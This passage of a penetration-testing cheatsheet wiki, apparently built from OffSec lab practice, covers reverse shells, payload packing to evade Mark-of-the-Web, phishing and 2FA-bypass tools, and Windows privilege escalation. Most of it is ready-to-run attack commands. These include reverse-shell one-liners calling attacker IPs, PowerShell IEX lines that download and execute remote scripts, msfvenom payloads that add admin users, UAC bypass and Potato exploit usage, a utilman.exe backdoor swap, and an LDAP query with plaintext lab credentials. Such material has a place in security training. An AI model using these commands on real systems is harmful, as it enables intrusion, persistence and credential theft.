&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
powercat -c 10.11.0.4 -p 443 -e cmd.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Python ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
import os,pty,socket;s=socket.socket();s.connect((&amp;quot;192.168.49.169&amp;quot;,443));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(&amp;quot;sh&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Stabilize shell (Interactive shell) ===&lt;br /&gt;
&lt;br /&gt;
==== Linux ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
python -c &#039;import pty;pty.spawn(“/bin/bash”)&#039;&lt;br /&gt;
export TERM=xterm&lt;br /&gt;
Background the shell using Ctrl + Z. In our terminal we use stty raw -echo; fg.&lt;br /&gt;
https://blog.aghanim.net/?p=1043&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Windows ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# In you have unstable shell in Windows, try to get a new shell using Nishang Invoke-PowershellTcp.ps1&lt;br /&gt;
# 1. Edit Nishang script and add&lt;br /&gt;
Invoke-PowerShellTcp -Reverse -IpAddress  -Port&lt;br /&gt;
# 2. Start a new netcat listener&lt;br /&gt;
# 3. Start simple http.severe where the nishang script is&lt;br /&gt;
# 4. On target. (Make sure powershell is enabled and allowed to use)&lt;br /&gt;
powershell.exe -nop -exec bypass -c &amp;quot;IEX (New-Object Net.WebClient).DownloadString(&#039;http://LOCALIP:LOCALPORT/invoke-powershelltcp.ps1&#039;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fix TTY in reverse shell ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# In our shell. Remember the rows anc cols&lt;br /&gt;
stty -a&lt;br /&gt;
# On victim shell&lt;br /&gt;
stty rows  cols&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== PackMyPayload ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/mgeeky/PackMyPayload mgeeky/PackMyPayload: A PoC that packages payloads into output containers to evade Mark-of-the-Web flag &amp;amp; demonstrate risks associated with container file formats. Supports: ZIP, 7zip, PDF, ISO, IMG, CAB, VHD, VHDX (github.com)]&lt;br /&gt;
&lt;br /&gt;
Smuggle payloads using various file formats:&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;7zip&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;zip&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;ISO&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;IMG&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Pack a dir to .iso&lt;br /&gt;
PackMyPayload.py C:\my\dir malicious.iso -v&lt;br /&gt;
# Pack a malicious code to .vhd&lt;br /&gt;
PackMyPayload.py .\evil.lnk .\evil.vhd&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Persistence ==&lt;br /&gt;
&lt;br /&gt;
=== Windows ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Persistence.md https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Persistence.md]&lt;br /&gt;
&lt;br /&gt;
=== Linux ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Persistence.md https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Persistence.md]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Phishing ==&lt;br /&gt;
&lt;br /&gt;
=== Bypass 2-Fa ===&lt;br /&gt;
&lt;br /&gt;
[https://www.youtube.com/watch?v=FwGeBW6OurM&amp;amp;t=662s Hackers Bypass Google Two-Factor Authentication (2FA) SMS - YouTube]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/kgretzky/evilginx2 GitHub - kgretzky/evilginx2: Standalone man-in-the-middle attack framework used for phishing login credentials along with session cookies, allowing for the bypass of 2-factor authentication]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Programming ==&lt;br /&gt;
&lt;br /&gt;
=== Control flow - Logic Statement ===&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| Logic Statement&lt;br /&gt;
| Purpose&lt;br /&gt;
|-&lt;br /&gt;
| if/else&lt;br /&gt;
| Executes only if a condition is met, else it will execute a different code block&lt;br /&gt;
|-&lt;br /&gt;
| try/catch&lt;br /&gt;
| Will try to execute a code block and catch it if it fails to handle errors.&lt;br /&gt;
|-&lt;br /&gt;
| switch case&lt;br /&gt;
| A switch will follow similar conditional logic to an if statement but checks several different possible conditions with cases before resolving to a break or default&lt;br /&gt;
|-&lt;br /&gt;
| for/while loop&lt;br /&gt;
| A for loop will execute for a set amount of a condition. A while loop will execute until a condition is no longer met.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Privilege Escalation ==&lt;br /&gt;
&lt;br /&gt;
=== Windows ===&lt;br /&gt;
&lt;br /&gt;
==== Admin Account Credentials ====&lt;br /&gt;
&lt;br /&gt;
[https://book.ghanim.no/?p=2078#Shell_8211_Changing_user_if_you_have_a_shell Active Directory – Notes, Methodology, Cheatsheet – BOOK_GHANIM]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If you hve admin credentials or created an account with admin privilege you can use nc.exe to get a privileged reverse shell using runas&lt;br /&gt;
runas /profile /user:Administrator &amp;quot;nc.exe -e cmd 192.168.49.169 443&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Another method is if the shell is non-interactive is to use a powershell script.&lt;br /&gt;
# Save this on your Kali and start a HTTP.server.&lt;br /&gt;
$password = ConvertTo-SecureString &amp;quot;lab&amp;quot; -AsPlainText -Force&lt;br /&gt;
$credential = New-Object System.Management.Automation.PSCredential (&amp;quot;Administrator&amp;quot;, $password)&lt;br /&gt;
Start-Process -Credential $credential -FilePath &amp;quot;C:\Users\Offsec\Desktop\ProcessHollow.exe&amp;quot;&lt;br /&gt;
# Now on the shell you have, run this command.&lt;br /&gt;
iex(new-object net.webclient).downloadstring(&#039;http://192.168.45.198/test.ps1&#039;)&lt;br /&gt;
# You should now see that the ProcessHollow binary is executing, giving you a shell in the context of administrator.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Another method again is to RDP to the target if possible and Run As.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== AlwaysInstallElevated ====&lt;br /&gt;
&lt;br /&gt;
If these two registers are enabled then users of any privilege can install &#039;&#039;&#039;.msi &#039;&#039;&#039;files as NT AUTHORITY\SYSTEM&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#alwaysinstallelevated&lt;br /&gt;
# If 0x1 then its enabled&lt;br /&gt;
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated&lt;br /&gt;
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated&lt;br /&gt;
&lt;br /&gt;
# Msfvenom payload&lt;br /&gt;
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format&lt;br /&gt;
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted&lt;br /&gt;
# The above is better for persistence&lt;br /&gt;
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.54.122 LPORT=443 -f msi &amp;gt; rev_shell.msi # Recommeded if not AD.&lt;br /&gt;
# Execute&lt;br /&gt;
msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi&lt;br /&gt;
&lt;br /&gt;
----------------&lt;br /&gt;
# The above command will probably be detected by AV. You can compile your own .msi.&lt;br /&gt;
https://github.com/KINGSABRI/MSI-AlwaysInstallElevated&lt;br /&gt;
PS C:\WiX Toolset v3.11\bin&amp;gt; .\candle.exe .\msiexploit.wxs; .\light.exe .\msiexploit.wixobj`)&lt;br /&gt;
-------------------------------------------&lt;br /&gt;
# You can also use MSI Wrapper.&lt;br /&gt;
https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/msi-wrapper&lt;br /&gt;
------------------------------------------&lt;br /&gt;
# There is also a metasploit module, but it needs a bit tweaking&lt;br /&gt;
exploit/windows/local/always_install_elevated&lt;br /&gt;
# In the multi handler do the following&lt;br /&gt;
set DisablePayloadHandler true - # Disable built-in listener&lt;br /&gt;
set ExitOnSession false - # The MSI target to existing meterpreter encoded payload&lt;br /&gt;
run -j -z - # Background listener&lt;br /&gt;
msf6 exploit(multi/handler) &amp;gt; use exploit/windows/local/always_install_elevated&lt;br /&gt;
msf6 exploit(windows/local/always_install_elevated) &amp;gt; set VERBOSE true&lt;br /&gt;
msf6 exploit(windows/local/always_install_elevated) &amp;gt; set payload windows/exec&lt;br /&gt;
msf6 exploit(windows/local/always_install_elevated) &amp;gt; set session 1&lt;br /&gt;
# The encoded powershell command do &#039;whoami &amp;gt; C:\whoami.txt&#039; to verify that it works&lt;br /&gt;
msf6 exploit(windows/local/always_install_elevated) &amp;gt; set cmd &#039;powershell -enc dwBoAG8AYQBtAGkAIAA+ACAAQwA6AFwAdwBoAG8AYQBtAGkALgB0AHgAdAA=&#039;&lt;br /&gt;
msf6 exploit(windows/local/always_install_elevated) &amp;gt; run&lt;br /&gt;
# Now to get a meterpreter shell, upload your payload. Ex. proc_hol.exe and run&lt;br /&gt;
msf6 exploit(windows/local/always_install_elevated) &amp;gt; set cmd &#039;C:\proc_hol.exe&#039;&lt;br /&gt;
msf6 exploit(windows/local/always_install_elevated) &amp;gt; run&lt;br /&gt;
# You should get a callback to your meterpreter listener.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[https://blog.aghanim.net/?page_id=1809#Executing_MSI_on_Windows Execute MSI files on Windows]&lt;br /&gt;
&lt;br /&gt;
==== BarracudaDrive 6.5 ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://packetstormsecurity.com/files/158812/BarracudaDrive-6.5-Local-Privilege-Escalation.html&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Bypass UAC ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/k4sth4/UAC-bypass https://github.com/k4sth4/UAC-bypass]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Check group memberships. If the user is member of Administrator group but have Medium mandteroy  Level shell, we might bypass uac.&lt;br /&gt;
# Notice the last line, &amp;quot;Mandatory Label\Medium Mandatory Level&amp;quot;&lt;br /&gt;
whoami /groups&lt;br /&gt;
GROUP INFORMATION&lt;br /&gt;
-----------------&lt;br /&gt;
Group Name                                 Type             SID          Attributes&lt;br /&gt;
========================================== ================ ============ ==================================================&lt;br /&gt;
Everyone                                   Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group&lt;br /&gt;
BUILTIN\Administrators                     Alias            S-1-5-32-544 Group used for deny only&lt;br /&gt;
BUILTIN\Users                              Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group&lt;br /&gt;
NT AUTHORITY\INTERACTIVE                   Well-known group S-1-5-4      Mandatory group, Enabled by default, Enabled group&lt;br /&gt;
CONSOLE LOGON                              Well-known group S-1-2-1      Mandatory group, Enabled by default, Enabled group&lt;br /&gt;
NT AUTHORITY\Authenticated Users           Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group&lt;br /&gt;
NT AUTHORITY\This Organization             Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group&lt;br /&gt;
LOCAL                                      Well-known group S-1-2-0      Mandatory group, Enabled by default, Enabled group&lt;br /&gt;
Authentication authority asserted identity Well-known group S-1-18-1     Mandatory group, Enabled by default, Enabled group&lt;br /&gt;
Mandatory Label\Medium Mandatory Level     Label            S-1-16-8192&lt;br /&gt;
&lt;br /&gt;
# Next check if UAC is enabled&lt;br /&gt;
# If EnableLUA and PromptOnSecureDesktop is set to 1, that means its enabled.&lt;br /&gt;
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System&lt;br /&gt;
# We then have to find a binary that have &amp;quot;autoElevate&amp;quot; set to true.&lt;br /&gt;
# Download strings windows binary here https://github.com/k4sth4/UAC-bypass/blob/main/strings64.exe. (Same as linux)&lt;br /&gt;
.\strings64.exe -accepteula C:\\Windows\System32\eventvwr.exe | findstr /i autoelevate&lt;br /&gt;
        true&lt;br /&gt;
# Then we have to generate a payload using msfvenom.&lt;br /&gt;
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.x.x LPORT=443 -f exe &amp;gt; shell.exe&lt;br /&gt;
# In this instance we are abusing eventvwr. https://github.com/k4sth4/UAC-bypass/blob/main/eventvwr-bypassuac.c&lt;br /&gt;
# Compile the above code&lt;br /&gt;
x86_64-w64-mingw32-gcc eventvwr-bypassuac.c -o eventvwr-bypassuac-64.exe&lt;br /&gt;
# Transfer the binary to target and execute&lt;br /&gt;
.\eventvwr-bypassuac-64.exe&lt;br /&gt;
# Check your listener and then run &amp;quot;whoami /groups&amp;quot; again and check last line.&lt;br /&gt;
Mandatory Label\High Mandatory Level       Label            S-1-16-12288&lt;br /&gt;
# This means you can run elevated commands. Dumping hashes etc.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== CVE ====&lt;br /&gt;
&lt;br /&gt;
===== CVE-2019-1405 and CVE-2019-1322 (COMahawk) =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/apt69/COMahawk&lt;br /&gt;
# An elevation of privilege vulnerability exists when the Windows Universal Plug and Play (UPnP) service improperly allows COM object creation, aka &#039;Windows UPnP Service Elevation of Privilege Vulnerability&#039;.&lt;br /&gt;
# Method 1&lt;br /&gt;
.\COMahawk64.exe&lt;br /&gt;
[\] Progress:  1/9 2/9 3/9 4/9 5/9 6/9 7/9 8/9 9/9&lt;br /&gt;
[+] Hopefully Tomahawk:RibSt3ak69 is added as an admin.&lt;br /&gt;
# Method 2&lt;br /&gt;
.\COMahawk64.exe &amp;quot;C:\\users\\public\\documents\\nc64.exe -e cmd.exe 192.168.1.123 443&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== HiveNightmare ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/GossiTheDog/HiveNightmare&lt;br /&gt;
# Works on all supported versions of Windows 10, where System Protection is enabled (should be enabled by default in most configurations).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== LAPS ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If we have valid creds for LDAP we can query LDAP for the local admin password.&lt;br /&gt;
ldapsearch -v -x -D fmcsorley@HUTCH.OFFSEC -w CrabSharkJellyfish192 -b &amp;quot;DC=hutch,DC=offsec&amp;quot; -h 192.168.120.108 &amp;quot;(ms-MCS-AdmPwd=*)&amp;quot; ms-MCS-AdmPwd&lt;br /&gt;
# LAPS is a tool that periodically changes the local administrator&#039;s password when it expires. It then stores the password details in the Active Directory.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Potatos (SeimpersonatePrivilege) ====&lt;br /&gt;
&lt;br /&gt;
[https://jlajara.gitlab.io/others/2020/11/22/Potatoes_Windows_Privesc.html#hotPotato Source]&lt;br /&gt;
&lt;br /&gt;
* If the machine is &amp;gt;= Windows 10 1809 &amp;amp; Windows Server 2019 - Try [https://jlajara.gitlab.io/others/2020/11/22/Potatoes_Windows_Privesc.html#roguePotato Rogue Potato]&lt;br /&gt;
&lt;br /&gt;
* If the machine is &amp;lt; Windows 10 1809 &amp;lt; Windows Server 2019 - Try [https://jlajara.gitlab.io/others/2020/11/22/Potatoes_Windows_Privesc.html#juicyPotato Juicy Potato]&lt;br /&gt;
&lt;br /&gt;
===== Finding CLSID =====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/ohpe/juicy-potato/tree/master/CLSID https://github.com/ohpe/juicy-potato/tree/master/CLSID]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
function Lookup-Clsid&lt;br /&gt;
{&lt;br /&gt;
    Param([string]$clsid)&lt;br /&gt;
    $CLSID_KEY = &#039;HKLM:\SOFTWARE\Classes\CLSID&#039;&lt;br /&gt;
    If ( Test-Path $CLSID_KEY\$clsid) {&lt;br /&gt;
        $name = (Get-ItemProperty -Path $CLSID_KEY\$clsid).&#039;(default)&#039;&lt;br /&gt;
        $dll = (Get-ItemProperty -Path $CLSID_KEY\$clsid\InProcServer32).&#039;(default)&#039;&lt;br /&gt;
    }&lt;br /&gt;
    $name, $dll&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Hot Potato =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Download binary&lt;br /&gt;
https://github.com/foxglovesec/Potato&lt;br /&gt;
Potato.exe -ip -cmd [cmd to run] -disable_exhaust true -disable_defender true&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Rotten Potato =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Download binary&lt;br /&gt;
https://github.com/breenmachine/RottenPotatoNG&lt;br /&gt;
After having a meterpreter shell with incognito mode loaded:&lt;br /&gt;
MSFRottenPotato.exe t c:\windows\temp\test.bat&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Lonely Potato =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Lonely Potato is deprecated and after visiting the repository, there is an indication to move to Juicy Potato.&lt;br /&gt;
https://github.com/decoder-it/lonelypotato&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Juicy Potato or Churrasco (SeImpersonate or SeAssignPrimaryToken) =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Download repository&lt;br /&gt;
https://github.com/ohpe/juicy-potato&lt;br /&gt;
https://github.com/antonioCoco/JuicyPotatoNG&lt;br /&gt;
juicypotato.exe -l 1337 -p c:\windows\system32\cmd.exe -t * -c {F87B28F1-DA9A-4F35-8EC0-800EFCF26B83}&lt;br /&gt;
.\JuicyPotatoNG.exe -t * -p C:\users\public\documents\shell1.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Rogue Potato =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Download binary&lt;br /&gt;
https://github.com/antonioCoco/RoguePotato&lt;br /&gt;
# Run in your machine the socat redirection (replace VICTIM_IP):&lt;br /&gt;
socat tcp-listen:135,reuseaddr,fork tcp:VICTIM_IP:9999&lt;br /&gt;
# Execute PoC (replace YOUR_IP and command):&lt;br /&gt;
.\RoguePotato.exe -r YOUR_IP -e &amp;quot;command&amp;quot; -l 9999&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== GodPotato =====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/BeichenDream/GodPotato BeichenDream/GodPotato (github.com)]&lt;br /&gt;
&lt;br /&gt;
Enables privilege escalation in Windows 2012 - Windows 2022&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
GodPotato -cmd &amp;quot;cmd /c whoami&amp;quot;&lt;br /&gt;
GodPotato -cmd &amp;quot;nc -t -e C:\Windows\System32\cmd.exe 192.168.1.102 2012&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== SharpEfsPotato =====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/bugch3ck/SharpEfsPotato bugch3ck/SharpEfsPotato: Local privilege escalation from SeImpersonatePrivilege using EfsRpc. (github.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
SharpEfsPotato.exe -p C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -a &amp;quot;whoami | Set-Content C:\temp\w.log&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== PrintSpoofer =====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/dievus/printspoofer https://github.com/dievus/printspoofer]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# PrintSpoofer exploit that can be used to escalate service user permissions on Windows Server 2016, Server 2019, and Windows 10.&lt;br /&gt;
# To escalate privileges, the service account must have SeImpersonate privileges. To execute:&lt;br /&gt;
PrintSpoofer.exe -i -c cmd&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Se-privileges ====&lt;br /&gt;
&lt;br /&gt;
===== Great list and explanation =====&lt;br /&gt;
&lt;br /&gt;
[https://blog.aghanim.net/wp-content/uploads/2022/12/HIP2019-Andrea_Pierini-Whoami_Priv_Show_Me_Your_Privileges_And_I_Will_Lead_You_To_System.pdf HIP2019-Andrea_Pierini-Whoami_Priv_Show_Me_Your_Privileges_And_I_Will_Lead_You_To_System][https://blog.aghanim.net/wp-content/uploads/2022/12/HIP2019-Andrea_Pierini-Whoami_Priv_Show_Me_Your_Privileges_And_I_Will_Lead_You_To_System.pdf Download]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# This ppt will explain how to exploit different SePrivileges&lt;br /&gt;
https://hackinparis.com/data/slides/2019/talks/HIP2019-Andrea_Pierini-Whoami_Priv_Show_Me_Your_Privileges_And_I_Will_Lead_You_To_System.pdf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== SeManageVolume =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/xct/SeManageVolumeAbuse&lt;br /&gt;
https://0xdf.gitlab.io/2021/11/08/htb-pivotapi-more.html#sebackupvolume&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== SeLoadDriverPrivilege =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# See writeup for PG Fuse&lt;br /&gt;
# It allows the user to load kernel drivers and execute code with kernel privilges aka NT\System&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== SeRestorePrivilege =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# SeRestorePrivilege privilege allows a user to circumvent file and directory permissions when restoring backed up files and directories, thus giving the user read and write access to system files.&lt;br /&gt;
# See PG Heist writeup&lt;br /&gt;
# This script Enables SeRestorePrivilege for our current (powershell/ise) session.&lt;br /&gt;
https://github.com/gtworek/PSBits/blob/master/Misc/EnableSeRestorePrivilege.ps1&lt;br /&gt;
# You can modify services, DLL Hijacking, set debugger (Image File Execution Options)… A lot of options to escalate.&lt;br /&gt;
# Example of ways to escalate privilege&lt;br /&gt;
# Utilman.exe. This application is triggered by issuing the WIN + U in windows lockscreen&lt;br /&gt;
move C:\Windows\System32\utilman.exe C:\Windows\System32\utilman.old&lt;br /&gt;
move C:\Windows\System32\cmd.exe C:\Windows\System32\utilman.exe&lt;br /&gt;
# Now RDP to target without logging in. Then press win+u&lt;br /&gt;
rdesktop 192.168.153.165&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2022-11-image-2.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
===== SeBackupPrivilege =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# SeBackUpPrivilege basically allows for full system read.&lt;br /&gt;
# See if user is member of &#039;Backup Operator&#039;.&lt;br /&gt;
# https://hackinparis.com/data/slides/2019/talks/HIP2019-Andrea_Pierini-Whoami_Priv_Show_Me_Your_Privileges_And_I_Will_Lead_You_To_System.pdf&lt;br /&gt;
# https://github.com/giuliano108/SeBackupPrivilege&lt;br /&gt;
# Example 1&lt;br /&gt;
PS C:\scripts&amp;gt; Import-Module .\SeBackupPrivilegeUtils.dll&lt;br /&gt;
PS C:\scripts&amp;gt; Import-Module .\SeBackupPrivilegeCmdLets.dll&lt;br /&gt;
PS C:\scripts&amp;gt; Get-SeBackupPrivilege # ...or whoami /priv | findstr Backup&lt;br /&gt;
SeBackupPrivilege is disabled&lt;br /&gt;
PS C:\scripts&amp;gt; dir E:\V_BASE&lt;br /&gt;
Get-ChildItem : Access to the path &#039;E:\V_BASE&#039; is denied.&lt;br /&gt;
At line:1 char:4&lt;br /&gt;
+ dir  Set-SeBackupPrivilege&lt;br /&gt;
PS C:\scripts&amp;gt; Get-SeBackupPrivilege&lt;br /&gt;
SeBackupPrivilege is enabled&lt;br /&gt;
PS C:\scripts&amp;gt; dir E:\V_BASE # ...having enabled the privilege, this now works&lt;br /&gt;
&lt;br /&gt;
    Directory: E:\V_BASE&lt;br /&gt;
&lt;br /&gt;
Mode                LastWriteTime     Length Name&lt;br /&gt;
----                -------------     ------ ----&lt;br /&gt;
d----        18/07/2013     13:04            Private&lt;br /&gt;
PS C:\scripts&amp;gt; cd E:\V_BASE\Private&lt;br /&gt;
PS E:\V_BASE\Private&amp;gt; dir&lt;br /&gt;
&lt;br /&gt;
    Directory: E:\V_BASE\Private&lt;br /&gt;
&lt;br /&gt;
Mode                LastWriteTime     Length Name&lt;br /&gt;
----                -------------     ------ ----&lt;br /&gt;
-----        05/07/2013     12:29     306435 report.pdf&lt;br /&gt;
PS E:\V_BASE\Private&amp;gt; Copy-FileSeBackupPrivilege .\report.pdf c:\temp\x.pdf -Overwrite&lt;br /&gt;
Copied 306435 bytes&lt;br /&gt;
PS E:\V_BASE\Private&amp;gt;&lt;br /&gt;
&lt;br /&gt;
-------------------&lt;br /&gt;
# Example 2&lt;br /&gt;
Copy-FileSeBackupPrivilege netlogon.dns \programdata\netlogon.dns&lt;br /&gt;
